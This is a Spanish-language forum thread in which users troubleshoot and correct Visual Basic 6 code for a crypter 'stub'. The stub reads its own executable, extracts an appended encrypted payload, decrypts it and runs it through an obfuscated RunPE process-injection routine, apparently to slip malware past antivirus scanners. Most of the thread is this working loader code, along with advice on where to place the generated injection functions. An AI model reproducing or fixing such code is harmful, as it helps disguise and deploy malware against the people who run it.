Hola que tal foro, me sale un error en vb6 cuando me pongo a probar el stub, "Run time error 52 Bad File name or Number", que hice mal?.. les dejo el code, y otra pregunta el CallApi del unique generator rumpe, donde se pone?...
Gracias y disculpen mi ignorancia XD
Sub Main()
Dim YO As String, Datos As String, sData() As String

YO = App.Path & "\" & App.Path & ".exe"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1

sData() = Split(Datos, "##$$##")

sData(1) = ¶8°4¬1¬¾(sData(1), sData(2))
YQGFBVY YO, StrConv(sData(1), vbFromUnicode), vbNullString

CallApi = pgvyeok
Injec = Lecbfsk

El callApi no se pone en ningun lado viene con el RunPe solo copia el codigo y ponlo en un Modulo.
Para llamar al RunPe lo tienes que hacer asi: Lecbfsk YO, StrConv(sData(1), vbFromUnicode), vbNullString

El Lecbfsk es el inject que te genero el RunPe Generator.

Injec = Lecbfsk

Espero haber sido claro.
Saludos

Perdon me confundi y escribi mal la ultima linea
es
Lecbfsk YO, StrConv(sData(1), vbFromUnicode), vbNullString
Osea el inject lo puse bien... pero me sige tirando el error...

Prueba hacerlo asi:

Sub Main()

Dim Yo As String, Datos As String, sData() As String

YO = App.Path & "\" & App.EXEName & ".exe"

Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1

sData() = Split(Datos, "DELIMITADOR")

sData(1) = encriptacion(sData(1), "bin4rio")

Lecbfsk yo,strconv(sData(1),vbFromUnicode),vbNullString

End sub

Saludos